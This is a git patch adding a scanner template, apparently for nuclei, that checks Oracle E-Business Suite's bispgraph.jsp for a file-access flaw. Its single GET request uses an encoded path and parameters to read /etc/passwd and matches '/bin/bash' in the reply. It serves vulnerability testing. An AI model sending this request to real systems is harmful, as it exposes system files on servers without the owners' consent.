From 5340a96e4c8b02f28240c17f2612256c8260387d Mon Sep 17 00:00:00 2001
From: Alfie Njeru <XalfiE@users.noreply.github.com>
Date: Mon, 27 Jul 2020 12:25:15 +0300
Subject: [PATCH] Oracle EBS Bispgraph File Access Vulnerability

A test to check whether you can read the etc/password file on a vulnerable Oracle Enterprise Business Suite instance
---
 ...spgraph-file-access-vulnerability(rce).yaml | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
 create mode 100644 vulnerabilities/oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml

diff --git a/vulnerabilities/oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml b/vulnerabilities/oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml
new file mode 100644
index 0000000000..f9d8da60fc
--- /dev/null
+++ b/vulnerabilities/oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml
@@ -0,0 +1,18 @@
+id: Oracle EBS bispgrapgh File Access Vulnerability
+
+# Source: David Lithcfield
+
+info:
+  name: bispgrapgh File Access Vulnerability
+  author: Alfie Njeru (@emenalf) - https://the-infosec.com
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+      
+    matchers:
+      - type: word
+        words:
+          - "/bin/bash"